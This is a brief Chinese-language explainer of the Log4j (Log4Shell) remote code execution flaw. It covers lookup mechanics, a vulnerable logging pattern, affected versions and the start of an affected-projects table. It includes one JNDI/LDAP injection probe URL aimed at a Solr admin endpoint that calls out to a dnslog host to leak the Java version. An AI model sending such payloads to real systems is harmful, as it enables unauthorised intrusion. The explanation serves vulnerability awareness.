Log4J RCE
首先log4j打印日志有四个级别:debug、info、warn、error;不管哪个方法打印日志,正常的log处理过程中,对 ${
这两个紧邻的字符做检测,一旦遇到类似报答是结构的字符串就会触发替换机制。一旦log字符串中检测到 ${}
,就会解析其中的字符串尝试使用 JDNI的 lookup()方法
查询,因此,只要能可攻至log阐述内容,就有机会实现漏洞利用。或者说服务器会记录用户输入的信息;这样log4j RCE都会被触发;
讲解loockup方法:
在log4j中可能需要引用一些外部资源、或者动态调用一些资源,通过lookups方法实现;它里面有docker lookup、Java loockup、Jndi loockup等等方法来调用资源(内置好的);通过Java loockup方法可以获取一些Java运行时(${java:runtime})、Java虚拟机(${java:vm})、操作系统的信息(${java:os})等等;我们攻击使用jndi loockup方法可以访问ldap、rmi服务来动态的获取一些资源;
当用户在登录的时候,服务器的后台使用logger.info("xxx" +user.getUsername())
来记录用户名,就存在Log4J注入漏洞;
**RMI(远程接口调用):使用RMI同样也可以实现JNDI注入。
http://127.0.0.1:8983/admin/cores?action=$ {jndi:ldap://${sys:java.version}.jkvl0r.dnslog.cn}
影响范围
- 使用了Log4j的组件,版本在2.x <= 2.14.1
- JDK版本小于8u191、7u201、6u211
序号 | 受影响项目 | 解决版本 |
---|---|---|
1 | Apache Archiva | 2.2.6 |